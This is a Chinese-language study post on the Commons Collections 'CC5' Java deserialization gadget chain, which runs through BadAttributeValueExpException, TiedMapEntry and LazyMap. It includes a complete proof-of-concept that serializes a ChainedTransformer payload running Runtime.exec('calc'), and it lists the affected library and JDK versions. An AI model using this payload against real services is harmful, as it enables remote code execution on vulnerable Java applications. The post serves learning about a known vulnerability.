cc链5

前言

早在cc6的学习中,为了重新寻找另⼀条调⽤链来调⽤LazyMap.get⽅法,我们找到了 org.apache.commons.collections.keyvalue.TiedMapEntry类,它的getValue⽅法可以调⽤map.get⽅法。

那时候其实我们发现有3个调用getValue的方法,那时候用的hashcode,这次用的toString而已

前置知识

我们需要一个类来触发toString函数,于是找到了javax.management.BadAttributeValueExpException 这个类

1
2
public class BadAttributeValueExpException extends Exception 
//这里你发现了什么

这个类,反序列化读取 val,当 System.getSecurityManager() == null 或 valObj 是除了 String 的其他基础类型时会调用 valObj 的 toString() 方法,完成上面 TiedMapEntry 的构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

默认情况下System.getSecurityManager()为null

只需要控制valObj为TiedMapEntry对象即可利⽤这条调⽤链 valObj通过ObjectInputStream.readFields().get()获取

来看看构造方法

1
2
3
4
   public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private Object val;

为了一开始不触发toString方法我们可以用反射来设置这个值,也可以在transform哪里改了

攻击构造

使用上述新扩展的触发点,配合 LazyMap 就可以完成一条新的攻击路径。由于 ysoserial 使用了 ChainedTransformer + InvokerTransformer 的方式,我这里就使用这种方法啦,当然还可以使用
InvokerTransformer + TemplatesImpl / TrAXFilter + InstantiateTransformer + TemplatesImpl 的方式触发

所以直接造poc了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
ChainedTransformer transformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
Map map = LazyMap.decorate(hashMap,transformer);
TiedMapEntry entry = new TiedMapEntry(map,"baicany");
BadAttributeValueExpException bad =new BadAttributeValueExpException((null));
Field f = bad.getClass().getDeclaredField("val");
f.setAccessible(true);
f.set(bad,entry);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc5.txt"));
outputStream.writeObject(bad);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc5.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

利用链

1
2
3
4
5
6
7
BadAttributeValueExpException.readObject->
TiedMapEntry.toString->
TiedMapEntry.getValue->
LazyMap.get()->
transformer()->
....
exec()

利用链也挺简单的,就缩写了

依赖版本

commons-collections : 3.1~3.2.1jdk 8u76 without a security manager